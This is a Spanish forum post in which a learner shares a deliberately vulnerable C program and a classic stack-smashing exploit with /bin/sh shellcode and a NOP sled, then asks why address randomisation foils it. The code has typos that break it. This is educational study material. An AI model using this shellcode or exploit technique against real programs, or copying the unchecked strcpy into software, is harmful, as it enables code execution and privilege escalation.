Hola a todos. Desde hace unas semanas he estado trasteando con la pila (despues de leer el "Smashing the stack for fun and profit"). Weno, mi problema es el siguiente.
Tengo un programa vulnerable (vulnerable.c)
======================================
#include <stdio.h>
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[])
{
char buf[512];
printf("sp 0x%x\n",get_sp());
fflush(NULL);
if (argc > 1) strcpy(buf,argv[1]);
}
======================================
Prendo exploitarlo con mi exploit (exploit.c):
======================================
#include <stdio.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER _SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc < 2) {
puts("");
printf("Uso: %s <programa> <tamaño de buffer> <offset>\n", argv[0]);
puts("");
return 0;
}
if (argc > 2) bsize = atoi(argv[2]);
if (argc > 3) offset = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("No hay memoria.\n");
return 1;
}
addr = get_sp() - offset;
printf("Usando direccion: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++)=addr;
for (i = 0; i < (bsize/2); i++) buff=NOP;
ptr = buff + (bsize/2) - (strlen(shellcode)/2);
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode;
buff[bsize - 1] = '\0';
char prog[bsize+strlen(argv[1])+1];
sprintf(prog,"%s \"%s\"",argv[1],buff);
system(prog);
puts("------------------------------------------------");
}
======================================
Pero resulta que el stack pointer (apuntador de pila) del exploit no es el mismo que el del programa vulnerable. Ni siquiera hai una diferencia constante entre sus apuntadores de pila. Debido a esto, no vale de nada asignarle diferentes offsets hasta dar con una direccion valida dentro del buffer (ya que las direcciones son aleatorias).
Le he estado dando muchas vueltas y no logro ver que pasa. ¿ALGUIEN ME PUEDE AYUDAR POR FAVOR?
¿alguien que sepa como averiguar la direccion en la que se situa el buffer de l programa vulnerable ?????
uso gcc-3.3 y kernel 2.6.15 por si eso influye en algo...










Autor



En línea





.


. Alguien sabe algo al respecto ?? Agradecería cualquier informacion sobre el tema... Thx